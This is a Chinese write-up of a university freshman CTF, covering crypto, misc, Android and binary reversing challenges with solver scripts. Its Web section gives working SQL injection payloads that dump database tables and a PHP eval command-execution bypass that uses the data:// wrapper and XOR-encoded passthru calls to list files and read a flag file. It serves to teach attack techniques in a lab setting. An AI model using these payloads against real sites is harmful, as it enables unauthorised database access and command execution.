前言
23级新生赛顺利结束,23级的小伙伴们做题专心致志,师哥师姐们也尽心尽力地维持比赛秩序,保证比赛公平公正。下面就是此次新生赛的超详细wp啦,对赛题还存有疑惑的小伙伴们一起来看看吧!
比赛现场
WriteUp
Misc
真·加密交流
佛曰:皤都諳曳侄者諳倒都奢尼喝上怯苦怯醯蒙梵南般奢大僧夜罰離奢集梵怖是知故冥寫勝諳他他除提怯藐冥等大冥耨梵謹罰地哆除殿伽奢漫缽明孕麼真冥心怯諸槃槃怯訶明悉哆究諳藐冥闍故罰特冥摩盧老菩帝孕摩皤地明世沙他藐罰楞悉梵羅諦梵至俱僧俱呼缽。盧哆倒哆顛輸哆孕哆瑟訶曳怯伽皤苦哆度哆神罰集摩呐娑皤菩羅哆密梵那不奢豆栗悉俱夜悉盧諳婆室梵亦一彌怯所等奢孕冥訶缽上悉帝奢帝神梵無密俱知梵曰俱羅冥無呐實諳藝皤倒皤竟缽藐咒盡
ov0 o.Ö OvO ÖwÖ ov0 ovÖ ovO ÖwO ovÖ ovÖ OwO o.O ov0 o.O Ö.O o.0 ov0 O_Ö 0wO ovÖ ov0 0.o ÖvO ÖwÖ ovÖ ovÖ OwO Ov0 ovO Ö_o O_O 0wÖ ov0 0.o 0wO Öv0 ov0 O_Ö 0_O 0_o ov0 Ö_0 OvO OvÖ ov0 O_Ö 0_O Ovo ov0 O_Ö 0vO O_o ov0 Ö_o Ö_O 0wÖ ov0 Ö_0 O.O OwÖ ov0 ov0 0.O O.o ovO Ö_0 0_O 0.O ov0 ovÖ ÖwO Ö.0 ov0 Ö_0 O.O 0wO ovÖ ovÖ OwO o_Ö
熊曰:呋會呆果嗥樣偶圖歡嗥現嗒擊嗅嗒吃動沒告山類麼呦訴肉破啽誘嘶意拙住圖樣哮我盜噔捕你有肉嗅噤山圖告眠誒堅家住物嗡覺笨堅嗚噗會會拙覺嗄眠氏樣捕堅家雜註吃吖覺溫盜更訴啽嗒嗚吃蜜象山嗚堅我吃囑既噤怎物出哮嗷冬嗅家嚄和嚁樣歡蜜氏食性擊囑噔雜象咬類吃
佛曰:呐都梵曳呐者缽倒都罰尼喝上梵苦哆醯蒙諳南般缽大僧夜等奢苦迦哆羯智老諳羯梵醯究諳蒙密伊缽顛孕俱他能怯耨怯利諳無缽尼離呐婆皤恐哆苦切罰楞薩摩諳迦訶等罰特提怛依諳舍呐那呐。盡缽曳俱帝曰曰冥神死故得呐爍諸罰羅故呐栗集哆醯呐穆侄吉缽陀離怯三藝罰逝三想菩侄即侄曳咒夢諳恐缽夢恐梵迦缽顛僧侄朋吉罰呼明俱薩冥阿俱遮明侄呼侄多罰竟缽智特迦侄故哆苦呐朋謹哆真哆伽至缽娑梵蒙呐苦地怯薩藐怯娑三呐等實麼呐佛皤悉罰跋皤所得薩
ov0 o.Ö OvO ÖwÖ ov0 ovÖ ovO ÖwO ovÖ ovÖ OwO o.O ov0 o.O Ö_O ov0 ov0 0.o 0wO Öv0 ov0 0.0 owO 0v0 ovO O_O Ö_O owo ovÖ ovÖ OwO Öwo ovO o.O o.O Ö_0 ovO O_o owO O_0 ov0 Ö_o Ö_O 0wÖ ov0 Ö_0 O.O OwÖ ov0 0.0 0wO 0_Ö ov0 ovÖ 0_O ÖwÖ ov0 Ö_o Ö.O ovo ovÖ ovÖ OwO Öwo ov0 0.Ö OvO ovo ovO O_Ö Ö_O o_o ov0 O_Ö 0wO Öw0 ov0 O_Ö OwO o.O ovO O_o Ö.O ovÖ ovo ovo OvO OvO
熊曰:呋性嗄襲性襲覺哈蜜唬人嗷偶人現嗥現更眠嘍非拙擊破嘿破和擊嗒擊哞寶達魚嗅拙呆噗呆捕蜂咯更森蜜人家誒蜜寶誒常咬類哞很拙咬誘萌爾溫蜜既破吃哈唬魚嗡哞爾嗅嘍家常嗡現嘶發嘿很動誘麼咯樣嚁發呆更註沒擊家寶喜物溫盜性類哈家達告咯嗚萌象嗷我現呦有人喜哞咯眠萌森和擊嗷家噗嘿拙現食雜眠象
佛曰:奢都哆曳怯者缽倒都哆尼喝上奢苦奢醯蒙侄南般侄大僧夜尼帝俱若冥栗缽至薩冥波麼闍菩寫諳盡罰般侄智密罰娑皤故罰室曰明提神是薩三故俱咒麼皤羯特孕奢爍奢所梵倒謹曳孕缽尼奢伽勝諦涅僧梵尼寫迦故豆呐一梵顛盡切冥知罰那輸闍冥怛哆密皤豆夷罰多梵朋苦一跋諳悉涅盧冥度密者諳地藐缽吉侄能諳彌麼缽至藐哆上俱咒者諳曳藐羯俱帝諳孕智哆南呐闍夷尼罰實盧梵度罰不地俱般奢遠顛冥般奢怛夜俱盡夜喝呐槃提哆死逝苦侄世喝迦彌那伊摩奢隸缽礙都吉苦曰菩至羯侄逝藐阿缽僧罰訶缽藝哆老皤實參諳地哆是梵那闍怯三罰舍哆多罰諦者怯曰諳礙道倒羅竟倒缽羯若集孕俱跋般大俱佛利哆那地呐輸梵參跋呐智寫菩怯集阿哆真怖心室有罰涅涅蒙缽尼哆參哆南奢喝麼俱數伊怯帝遮冥藐梵婆南怯彌
ov0 o.Ö OvO ÖwÖ ov0 ovÖ ovO ÖwO ovÖ ovÖ OwO o.O ov0 Ö_0 OvO 0_o ovO O_Ö Ö.O owÖ ov0 0.0 owO 0v0 ov0 o.Ö ovO O_o ov0 O_Ö 0wO Öw0 ovO Ö_0 ÖvO Ö_0 ovÖ ovÖ OwO Öwo ov0 0.O Ö_O ÖwÖ ov0 O_Ö 0wO 0.O ov0 O_Ö 0.O ovO ovO Ö_o ÖwO o.0 ovO O_o ÖwO o.0 ov0 o.Ö OvO o_0 ov0 Ö_o 0wO Owo ovO O_o o_O 0.O ov0 o.Ö o_O Ow0 ovO Ö_0 O_O o_Ö ov0 ovo 0wO Ow0 ov0 ov0 0.O O.o ov0 Ö_o Ö_O 0wÖ ov0 Ö_0 O.O OwÖ ovo ovo OvO OvO
熊曰:呋性樣嗷誒歡嚁堅非笨住魚取嗡吖盜會嗡冬嚁拙嚁性蜂咯常嗒溫喜嘍眠呱取嗄誘非肉森樣非爾呱動嗷破爾覺你覺捕現誒冬常萌喜性嚄樣捕性洞嗚發擊樣洞冬蜂吖寶類咬噗笨呱嘍告和訴咬樣既嘿爾圖歡擊呦你肉冬性唬現吃囑襲拙告嗥襲嗡拙沒沒發唬捕嗄達眠雜偶嗥堅果呦訴告發類萌咯蜜堅嗡呆哈咬和性嗥性嗒取會呦取
ov0 o.Ö OvO ÖwÖ ov0 ovÖ ovO ÖwO ÖwO 0wO OvÖ 0v0 0wÖ ovO Ö_Ö 0vO 0vO O_O Ö_Ö 0v0 0vo ovO Ö.Ö 0v0 0vo ovO Ö.Ö 0_Ö 0_Ö O_o OwÖ 0v0 0.0 ov0 OvÖ 0v0 0.0 ov0 OvÖ 0vÖ 0vÖ ovO Ö.Ö 0.0 0wo Ö_0 ÖwÖ 0vo 0_O 0.o o.Ö 0vO 0wO O_0 O.Ö 0vo 0_O ovO OwÖ 0v0 0vo O_o ÖwÖ 0vo 0_O O_o OvÖ 0vo 0_O O_O 0.Ö 0v0 0wÖ ovO ÖwÖ 0v0 0vo o.Ö ÖwÖ 0vÖ 0vO 0.o ÖvÖ 0v0 0w0 0.Ö OvÖ 0vO 0_0 ovo o_Ö 0vO 0_0 ovo 0_Ö 0_Ö 0_Ö O_o OwÖ 0vo 0_O ov0 o.Ö 0vo 0_O O_o owÖ 0vo 0_Ö O_0 0.Ö 0vÖ 0v0 O_0 Ö_Ö 0vO 0_o O_0 ÖvÖ 0v0 0vo O_O o_Ö 0_Ö 0_Ö O_0 Ö_Ö 0vo 0_O ov0 o.Ö 0vo 0_O O_o owÖ 0vo 0_Ö O_0 0.Ö 0v0 0w0 ovÖ o.Ö 0vO 0wO O_0 O.Ö 0v0 0vo O_O o_Ö 0v0 0vo ovO Ö.Ö 0v0 0vo ovO Ö.Ö 0v0 0vo O_O o_Ö 0_Ö 0_Ö O_o O.Ö 0_Ö 0_Ö O_0 Ö_Ö 0vo 0_O O_o owÖ 0v0 0wo ovo Ö_Ö 0vO 0wO O_0 O.Ö 0_Ö 0_Ö O_o OwÖ 0v0 0wÖ ovO 0.Ö 0vo 0_Ö O_0 0.Ö 0v0 0_Ö ovo ÖwÖ 0vÖ 0v0 0.Ö OwÖ 0v0 0vo ovO Ö.Ö 0v0 0vo ovO Ö.Ö 0_Ö 0_Ö O_o O.o
(三人兴致勃勃地走向附近的冰淇淋店,期待着一起品尝甜蜜的雪糕时光。)
佛曰解密 https://amanctf.com/tool/todousharp
尊都假都解密 https://zdjd.vercel.app/
熊曰解密 http://hi.pcmoe.net/
这次是爱情嘛
题目描述:
在一个风和日丽的周末,聪明的狗蛋在章丘遇到一个本地的00后女孩,狗蛋一见钟情当即表白,但是女孩缺说就你打CTF是吧。我这有个压缩包,密码是我身份证号,打开里面就是我的答案。请帮帮狗蛋拿到女孩的答案,flag为女孩的答案
得知密码是章丘一00女孩 看大家都是暴力但是 ARCHPR 设置掩码攻击
寻找文文酱的秘密
给了一张图片,隐写没有。考点为修改宽高即可
指向内容修改为1000
下面给出内容为一张二维码和奇怪的编码图 扫描二维码为fake_flag
为标准银河码表,对照码表得YOUARETHEBEST
flag为QLNU{YOUARETHEBEST}
120QR
当然可以一张一张扫描二维码,但是利用python进行批量二维码处理为更优解
import os
import re
from PIL import Image
from pyzbar.pyzbar import decode
def atoi(text):
return int(text) if text.isdigit() else text
def natural_keys(text):
return [atoi(c) for c in re.split(r'(d+)', text)]
def scan_qrcodes(folder_path, output_file):
with open(output_file, 'w') as file:
# 获取所有图片文件并使用自然排序
image_files = [f for f in os.listdir(folder_path) if f.lower().endswith(('.png', '.jpg', '.jpeg', '.gif', '.bmp'))]
image_files.sort(key=natural_keys) # 使用自然排序
# 遍历排序后的图片文件
for filename in image_files:
# 构建完整的文件路径
file_path = os.path.join(folder_path, filename)
# 打开并扫描图像中的二维码
image = Image.open(file_path)
qrcodes = decode(image)
# 将二维码的数据写入到文件中
for qrcode in qrcodes:
data = qrcode.data.decode('utf-8')
file.write(f'{data}')
print(f'Found QR code in {filename}: {data}')
# 将下面的路径替换为你的图片文件夹路径
folder_path = './output'
# 输出文件的路径
output_file = 'result.txt'
scan_qrcodes(folder_path, output_file)
UUxOVXtZb3Vfd29uJ3RfanVzdF9zY2FuX2FsbF90aGVfUVJfY29kZXMsX3JpZ2h0P19Jc19pdF9yZWFsbHlfZ29vZF9mb3JfeW91X3RvX2RvX3RoaXM/fQ==
base64解码
"QLNU{You_won't_just_scan_all_the_QR_codes,_right?_Is_it_really_good_for_you_to_do_this?}"
音频电视机
给了一个wav,提示也很到位了 利用工具RX-SSTV进行解密,需要配置内置声卡,这里推荐 e2eSoft
逆逆逆
010打开翻到最后
压缩包被逆过来了 直接写脚本
import binascii
with open("是个压缩包.zip","rb") as f:
s = f.read().hex()
# 50 4b ---> 4B 50
S = []
for i in range(0,len(s),2):
chunk = s[i:i+2]
S.append(chunk)
S = reversed(S)
S = ''.join(list(S))
bindata = binascii.unhexlify(S)
with open("是个压缩包1.zip", "wb") as F:
F.write(bindata)
打开压缩包,有加密。
伪加密,修改为0( 这里一般为偶数是没有加密,奇数为有加密,但不一定是伪加密。
Crypto
Sign In
445941487b76675f76665f65726e79796c5f6676746176617d
给出一串hex值
进行hex字符串转换 但是flag头是QLNU。D距离Q为13很明显的ROT13解密,其余也是,虽说凯撒也能解吧,但是凯撒13位和ROT13解密一样。希望大家多去了解一下哈
兔子先生的密码
U2FsdGVkX19snFr/RzYbG0lhTly141VDL7IyS1POGTwDySOKPCimTIsIBXx1Lb4JtcvJqA==
题目描述:
宇宙的终极答案是什么?
百度搜索:
得知是rabbit流密码
RSA
import libnum
#生成随机素数
p=libnum.generate_prime(1024)
q=libnum.generate_prime(1024)
e=65537
m="***********"
#字符串转数字
m=libnum.s2n(m)
n=p*q
phi_n=(p-1)*(q-1)
#求逆元
d=libnum.invmod(e,phi_n)
c=pow(m,e,n)
print("p=",p)
print("q=",q)
print ("n=",n)
print("d=",d)
print ("e=",e)
print ("c=",c)
'''
p= 151978047934188876095087165963921435615222585321747654107337791942969648217446102627228029899062128061810298695714676802053672949295724187893193866308943385053626232346843287722591261287971696828064306173140893469334385300449408978319885795620380239575919836703433099265918224127543011952812844038991188983739
q= 111386917720597654691542377513394427446798858331388504557204652568545326667007067470426320920246826492761000661077446671450687488201485994782427970192671800735346687846460413206320268290618321732987102293673134791083332138137184258617274048355715786466852031566991105112576797296277935151129853068204442058341
n= 16928366320582542709902069368258632507914184026323991851392233262991485012216592042949614761566783590554117332493363820290777079701519858418040072737391725687981334233268923029181259294821094310425684378722697163595495919330920452182983960634554743454093911672163006302415451628465827189321472037982221554142253635391375410038376042560863756904242449641270691491061708114132719700411413027734958030141841831783609879049344241778639353853650581772774809772710674948408339311881567610696991149193635024694022340575888196124849185118635449512543355067662304213803113787061868084181790470521376824168881998250525138316999
d= 15518293358071898331102987983982210412598506918740448638905390694935722363915779128680393604306105322997852527603282292375746607173167982270152913467461435462144171964940878553292822312804396050807242719454692771937839752224896454312057469627886230331492958564478219824473434898377557194867866962141933663880594037972999124450142007648481660815600924138371721153848313458039012122926113406581533033955462260984881514118271299625187300829388929282542365577178813378986622733415437373865857262115029279314839367979140910584239646539847341003187039331196423630991132059709055425344803454398018859305543789524832539451953
e= 65537
c= 7248609691816573691607678120514995093188774692554971329697484018146223360054150300429612545243817498100865180527226204478653403948158557871866845585329141292346799622247704080922454752717723629563052443571570532594992434739541380219065731632216068802187714450848572140217429898736878009754857564020571892585982583844373125098255431404649479394162360641036607259420600568850094553625808762680776217936298110039210632781015923788437474017143512200788862869184024136748762505036577608071946917717546921448711830199510968790819403576410657480541863826297268948475591154105905415896939574727830770577955620756925850435652
学一下rsa加密原理可以知道 题目已给出c d n了
from Crypto.Util.number import *
d= 15518293358071898331102987983982210412598506918740448638905390694935722363915779128680393604306105322997852527603282292375746607173167982270152913467461435462144171964940878553292822312804396050807242719454692771937839752224896454312057469627886230331492958564478219824473434898377557194867866962141933663880594037972999124450142007648481660815600924138371721153848313458039012122926113406581533033955462260984881514118271299625187300829388929282542365577178813378986622733415437373865857262115029279314839367979140910584239646539847341003187039331196423630991132059709055425344803454398018859305543789524832539451953
n= 16928366320582542709902069368258632507914184026323991851392233262991485012216592042949614761566783590554117332493363820290777079701519858418040072737391725687981334233268923029181259294821094310425684378722697163595495919330920452182983960634554743454093911672163006302415451628465827189321472037982221554142253635391375410038376042560863756904242449641270691491061708114132719700411413027734958030141841831783609879049344241778639353853650581772774809772710674948408339311881567610696991149193635024694022340575888196124849185118635449512543355067662304213803113787061868084181790470521376824168881998250525138316999
c= 7248609691816573691607678120514995093188774692554971329697484018146223360054150300429612545243817498100865180527226204478653403948158557871866845585329141292346799622247704080922454752717723629563052443571570532594992434739541380219065731632216068802187714450848572140217429898736878009754857564020571892585982583844373125098255431404649479394162360641036607259420600568850094553625808762680776217936298110039210632781015923788437474017143512200788862869184024136748762505036577608071946917717546921448711830199510968790819403576410657480541863826297268948475591154105905415896939574727830770577955620756925850435652
m = pow(c,d,n)
print(long_to_bytes(m))
# b'QLNU{Giv3_y@u_A1L_T1ngs}'
basic_RSA
考点,pq接近。n易被分解
from Crypto.Util.number import *
from gmpy2 import next_prime
import base64
flag=...
f = base64.b64encode(flag)
m = bytes_to_long(f)
p = getPrime(1024)
q = next_prime(p+bytes_to_long('2023级小朋友们加油'.encode('utf-8')))
e = 65537
n = p*q
print('n=',n)
print('c=',pow(m,e,n))
# n= 29553264923594508433975476627894574533899955756166801145239880648093716041295135325370171546722151905147962463425849872616099992747972103121173544650703301790472830049578685600059690533522703256561721668404263480521342619324887934144547161799814263706124831167922167281957944845097046625079712581277336892736440167779748017550183734742035673055186705755182880437511203174310322512703103670239626106075098925279496338325217300345937789418675588591645749672068812385546145513117956658208346140053654098722311418906741079193897707986732347071985060045728277450176243436439278001719390960014353796346549886957781657692231v
# c= 19148667814726157348344000405187642519968285056387454321578490783246212765109939752463765634176495100069989528534447442709717542463348756391451619360685484355708006442671976538516793664288481450358347512025490154766940012195200465922222680009707139051392895210011173241016960085199263789419645988276687072241004714615481608972599093907242392300953854176553672337105670173979560707680415907083337148863248155480800492770773508736722673719467555654208399296057729578583481007526449961982146787556007134404586919809749563405310291992267365775273791350435789691826618560560309678797430847363416865773191158611491160112347
使用分解工具yafu分解n得到p,q(yafu下载网址:https://sourceforge.net/projects/yafu/),
yafu使用方法
1.打开yafu安装目录,右键在终端中运行
2.输入.yafu-x64.exe后回车,
3.输入factor(...),分解得到p,q
进行RSA解密,得到m,最后一步进行base64解密得到flag
from Crypto.Util.number import *
from gmpy2 import gmpy2
import base64
p=171910630629971538226319505817236072500319282288121337163165599552944589794814103815178847695430674095061358740961524561721842156904528067917025757012039122496717444670514529072427114731408099019037466749311284017129690684959459116318771738547421633361276182336960136811838258603673864356172923083675064488163
q=171910630629971538226319505817236072500319282288121337163165599552944589794814103815178847695430674095061358740961524561721842156904528067917025757012039122496717444670514529072427114731408099019037466749311284017129690684959459116318771738547421633046239330523638018341824292196050871864343044239082019855437
n=p*q
c= 19148667814726157348344000405187642519968285056387454321578490783246212765109939752463765634176495100069989528534447442709717542463348756391451619360685484355708006442671976538516793664288481450358347512025490154766940012195200465922222680009707139051392895210011173241016960085199263789419645988276687072241004714615481608972599093907242392300953854176553672337105670173979560707680415907083337148863248155480800492770773508736722673719467555654208399296057729578583481007526449961982146787556007134404586919809749563405310291992267365775273791350435789691826618560560309678797430847363416865773191158611491160112347
e = 65537
N=(p-1)*(q-1)
d=gmpy2.invert(e,N)
m=pow(c,d,n)
f=long_to_bytes(m)
print(base64.b64decode(f))
#b'QLNU{base_RSA_is_very_easy}'
Web
2048
查看源码 可在main2048.js中看到一串比较与众不同的字符串
解法一:
复制下来颜文字解密
解法二:看到字符串所在的函数名为gamewin() 可在控制台直接运行该函数 会弹出一个fake的弹窗,点击确定后在控制台看到flag
Sha_Md5
<?php
error_reporting(0);
show_source(__FILE__);
include "flag.php";
if(isset($_GET['P1'])&&isset($_GET['A1'])){
echo sha1($_GET['P1']) == sha1($_GET['A1']) ? $part1 : $welcom;
if (isset($_GET['P2'])&&isset($_GET['A2'])) {
echo md5($_GET['P2']) == md5($_GET['A2']) ? $part2 : $welcom;
}
}
md5加sha绕过,其实sha和MD5本质是都是哈希算法,绕过方法相类似
一个比较简单的做法
直接传A1&P1&A2&P2,即可得出flag
传入A1=1&P1=1&P2=1&A2=1 原始字符串相等一定加密后相等
Sqli
第一步,先判断注入方式
Get型 整型与字符型注入判断:
举例:
http://xxx/xxx/Less-1/?id=1 and 1=1 --+
输入?id=1 and 1=1 --+正常,输入?id=1 and 1=2 --+报错,可判断为整型注入。
http://xxx.xxx/Less-1/?id=1'
输入?id=1'出现报错,输入?id=1''正常,可判断为字符型注入。
http://xxx.xxx/Less-1/?id=1' and 1=1 -- -
输入?id=1' and 1=1 -- -正常,输入?id=1' and 1=2 -- -报错,可判断为字符型注入。
http://xxx/xxx/Less-1/?id=1' and 1=1 --+
输入?id=1' and 1=1 --+正常,输入?id=1' and 1=2 --+报错,可判断为字符型注入。
总结:--+为注释后面的内容 -- -也可以用,效果一样。单引号是用来猜其是否存在字符型注入的,不加的就是测试其是否是整型注入的。
对此题来说 输入1 and 1=2 --+无回显
输入1 and 1=1 --+
有回显,说明是整型注入 第二步,判断列数和显位点 判断列数这里暂时还不需要报错,需要在正常查询情况下出现数据来判断列数
1 order by 1; --+
有回显,说明列数大于等于1,
1 order by 2; --+ 也有回显,说明列数大于等于2,
1 order by 3; --+
到3的时候没有回显了,说明列数小于3,大于等于2.可得列数为两列,这两列都可以显示数据。 第3步,爆数据库 需要用到联合查询语句 union select 要爆破数据库了,需要让查询语句发生错误,执行我们后面拼接的查询语句才可以 结合前面是整型注入,查询-1就会发生报错
-1 union select 1,database()
可以看到爆出数据库 qlnu
第4步,爆出表名
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='库名'
第5步,爆出列名
-1 union select group_concat(column_name),2 from information_schema.columns where table_name='表名'
最后一步,爆字段,拿到flag
-1 union select 1,group_concat(列名) from 表名
Baby_rce
highlight_file(__FILE__);
error_reporting(0);
$qlnu = $_GET['rce'];
$cmd = $_GET['cmd'];
if (file_get_contents($qlnu) === "Web_1s_So_G00d") {
echo file_get_contents($qlnu);
if(!preg_match("/f|l| |more|head|od|system/i", $cmd)){
eval($cmd);
echo("Awesome!!!");
}
}
先审计源码,需要让qlnu变量的值和Web_1s_So_G00d相等,还需要绕过正则执行命令 给变量qlnu赋值的话,可以利用data伪协议
data://伪协议,是数据流封装器,和php://相似,都是利用了流的概念,将原本的include的文件流重定向到了用户可控制的输入流中,简单来说就是执行文件的包含方法包含了你的输入流,通过包含你输入的payload来实现目的。
知道了原理之后,我们先来做第一步 data伪协议的利用
发现成功为qlnu赋值为Web_1s_So_G00d 第二步需要绕过正则 这里先说提示的做法,异或 先利用php脚本生成异或表
<?php
/*author yu22x*/
$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/f|l| |more|head|od|system/i';//根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
将题目的正则替换 运行之后 利用Python脚本的出异或的字符串
#coding=UTF-8
import requests
import urllib
from sys import *
import os
def action(arg):
s1 = ""
s2 = ""
for i in arg:
f = open("xor_rce.txt", "r")
while True:
t = f.readline()
if t == "":
break
if t[0] == i:
# print(i)
s1 += t[2:5]
s2 += t[6:9]
break
f.close()
output = "("" + s1 + ""^"" + s2 + "")"
return (output)
while True:
param = action(input("your function:")) + action(input("your command:")) + ";"
print(param)
rce=data://text/plain,Web_1s_So_G00d&cmd=("%00%00%00%00%00%00%00%00"^"%70%61%73%73%74%68%72%75")("%01%00%01%00"^"%6d%73%21%2f");
rce=data://text/plain,Web_1s_So_G00d&cmd=("%00%00%00%00%00%00%00%00"^"%70%61%73%73%74%68%72%75")("%00%00%00%01%00%01%01%01%01%00%00"^"%63%61%74%21%2f%67%6d%6d%6d%61%67");
不利用异或的做法 有一些猜的成分 空格被过滤了可以用%09绕过 利用?通配符匹配文件输出文件 由于此题flag不确定文件名,利用通配符慢慢试。
Reverse
签到
•旧附件
无壳,32位
定位到关键的代码函数
for ( i = 0; i < strlen(Str); ++i )
Str[i] ^= (unsigned __int8)i ^ 2
这个str[i]^=i^2可以看成str[i]=str[i]^i^2
C语言基础的语法了属于是 然后密文在哪??额这波纯属是我套娃了,密文在一个定义的函数里面,函数嵌套了16层(闲得无聊弄得) 可以选择点击16次找到定义密文的函数,也可以shift+f12拿到密文
至于这个加密怎么逆呢,就......再异或一遍就行了 这就是异或的特征了,写脚本的时候这么写就行了,这里附上简单的python脚本:
flag = "SONT}Paii;eVZ?S\#}eRBqKDVUMFGfXn_"
flag_list = list(flag)
new_flag_list = []
for i in range(len(flag_list)):
flag_list[i] = ord(flag_list[i]) ^ i ^ 2
new_flag_list.append(chr(flag_list[i]))
new_flag = ''.join(new_flag_list)
print(new_flag)
当然由于大家最近在学c,我也顺便附上c的代码。其实本质上这些代码都差不多
#include <stdio.h>
#include<string.h>
int main() {
char flag[] = "SONT}Paii;eVZ?S\#}eRBqKDVUMFGfXn_";
char new_flag[strlen(flag)+1]; // +1 for null terminator
for (int i = 0; i < strlen(flag); i++) {
flag[i] = flag[i] ^ i ^ 2;
new_flag[i] = flag[i];
}
new_flag[strlen(flag)] = '';
printf("%sn", new_flag);
return 0;
}
当然,GPT的话,就直接秒了......ε=(´ο`*)))唉 flag:QLNU{Welc0m_T0_Q1nuCTf_QLNU_YyDs}
•新附件
改完附件之后题目简单了很多,之前是嵌套了很多层的函数嵌套然后就改成了一层,找到v5 = (const char *)&unk_41B000;点进去就是密文
可以shitf+e提取字符串,提取输出,然后看后面的加密是一个异或2,所以直接上脚本就秒了! 可以选择赛博厨子
至于为什么是2u,2是数据,u是代表这个2是十进制的2,所以用u来表示
原始人!!起洞!!!!
安卓逆向题,安卓逆向的话,逆的是java代码,其实本质上和c差不多 反编译apk的工具很多,jeb,jadx,androidkiller都行,我个人喜欢jadx 先用模拟器打开一下看看吧!
原神的登录界面,各位可以去反编译找到登录的代码然后找到账号和密码 main函数一般是在com文件夹下,然后找找就找到了
代码看起来可能确实是吃力,但是,英文字母和简单的if语句应该能看的到
这里是判断,username是否等于genshinimpact 如果不是的话,就会有一个.show()的语句,意思大概是展示一个窗口,这里猜测就是账号错误的窗口提示吧 如果是的话才会继续走下面的函数,也就是所谓的加密密码的函数
if (!username.equals("genshinimpact")) {
Toast.makeText(MainActivity.this, (int) bin.mt.plus.TranslationData.R.string.wrong1, 0).show();
}
int[] encode_table = {125, 239, 101, 151, 77, 163, 163, 110, 58, 230, 186, 206, 84, 84, 189, 193, 30, 63, 104, 178, 130, 211, 164, 94, 75, 16, 32, 33, 193, 160, 120, 47, 30, 127, 157, 66, 163, 181, 177, 47, 0, 236, 106, 107, 144, 231, 162, 16, 36, 34, 91, 9, 188, 81, 5, 241, 235, 3, 54, 150, 40, 119, 202, 150};
String retval = whatwhatme.encodee(username, encode_table);
String result2 = whatme.encode(password.getBytes(), retval);
if (!result2.equals("VVwPUWsYcXEPW0MpN35gW0FwW1RxandgJTE8")) {
Toast.makeText(MainActivity.this, (int) bin.mt.plus.TranslationData.R.string.wrong2, 0).show();
return;
首先下面就出现了一个encode_table,并且后面有数据,可以大概猜测一下
int[] encode_table = {125, 239, 101, 151, 77, 163, 163, 110, 58, 230, 186, 206, 84, 84, 189, 193, 30, 63, 104, 178, 130, 211, 164, 94, 75, 16, 32, 33, 193, 160, 120, 47, 30, 127, 157, 66, 163, 181, 177, 47, 0, 236, 106, 107, 144, 231, 162, 16, 36, 34, 91, 9, 188, 81, 5, 241, 235, 3, 54, 150, 40, 119, 202, 150};
下面定义了一个retval的数值,然后调用了whatwahtme.encode()函数,并且导进去了两个参数,一个和是username,另一个就是刚才的encode_table,双击点进去看看whatwhatme是一个啥玩意!
public class whatwhatme {
public static String encodee(String keyStr, int[] data) {
byte[] key = keyStr.getBytes();
int[] s = new int[256];
int[] k = new int[256];
int j = 0;
for (int i = 0; i < 256; i++) {
s[i] = i;
k[i] = key[i % key.length];
}
for (int i2 = 0; i2 < 256; i2++) {
j = (s[i2] + j + k[i2]) & 255;
int temp = s[i2];
s[i2] = s[j];
s[j] = temp;
}
StringBuilder result = new StringBuilder();
int j2 = 0;
int i3 = 0;
for (int i4 : data) {
i3 = (i3 + 1) & 255;
j2 = (s[i3] + j2) & 255;
int temp2 = s[i3];
s[i3] = s[j2];
s[j2] = temp2;
int rnd = s[(s[i3] + s[j2]) & 255];
result.append((char) (i4 ^ rnd));
}
return result.toString();
}
}
如果问gpt了的话或者做过类似的题话,可以看出来这里是一个rc4的加密,并且加密的秘钥是刚刚的用户名,然后加密的密文是刚刚的encode_yable rc4加密虽然过程很复杂,就是什么什么盒子又是什么盒子,只要没有动算法,那就可以把他当成黑盒子,然后就可以当成异或就行了,他也是可逆的 网上随便搜个python的脚本就行然后加密得到了我们加密(解密)之后的数据: BADCFEHGJILKNMPORQTSVUXWZYbadcfehgjilknmporqts.uxwzy1032547698/+
这玩意说实话一眼顶针,很明显了就是base64的码表了,盲猜后面的就是base换表加密了! 这里就贴上一个rc4的解密脚本:
def decode(key_str, data):
key = key_str.encode()
s = list(range(256))
k = [key[i % len(key)] for i in range(256)]
j = 0
for i in range(256):
j = (s[i] + j + k[i]) & 255
s[i], s[j] = s[j], s[i]
result = bytearray()
j2 = 0
i3 = 0
for i in range(len(data)):
i3 = (i3 + 1) & 255
j2 = (s[i3] + j2) & 255
s[i3], s[j2] = s[j2], s[i3]
rnd = s[(s[i3] + s[j2]) & 255]
result.append(data[i] ^ rnd)
return result.decode()
key = "genshinimpact"
encoded_data = [125, 239, 101, 151, 77, 163, 163, 110, 58, 230, 186, 206, 84, 84, 189, 193, 30, 63, 104, 178, 130, 211, 164, 94, 75, 16, 32, 33, 193, 160, 120, 47, 30, 127, 157, 66, 163, 181, 177, 47, 0, 236, 106, 107, 144, 231, 162, 16, 36, 34, 91, 9, 188, 81, 5, 241, 235, 3, 54, 150, 40, 119, 202, 150]
decoded_data = decode(key, encoded_data)
print("re4解密之后的码表:", decoded_data)
虽然能猜到是base64,但是继续往下看吧:
这里定义了一个result2,并且走的 是whatme.encode()的加密方式 并且也是调用了两个参数,一个是刚刚输入的密码也就是password,并且后面有getBytes()方法,就是把密码变成比特形的数据传进去 跟进一下whatme.encode
这是标准的base64算法,跟刚才猜的一样,然后数据应该就是下面的那个if的判断了,直接拿那个密文和刚刚rc4得到的码表去赛博厨子也能直接秒了!
这边也顺便给上全部的脚本:
import base64
import string
def decode(key_str, data):
key = key_str.encode()
s = list(range(256))
k = [key[i % len(key)] for i in range(256)]
j = 0
for i in range(256):
j = (s[i] + j + k[i]) & 255
s[i], s[j] = s[j], s[i]
result = bytearray()
j2 = 0
i3 = 0
for i in range(len(data)):
i3 = (i3 + 1) & 255
j2 = (s[i3] + j2) & 255
s[i3], s[j2] = s[j2], s[i3]
rnd = s[(s[i3] + s[j2]) & 255]
result.append(data[i] ^ rnd)
return result.decode()
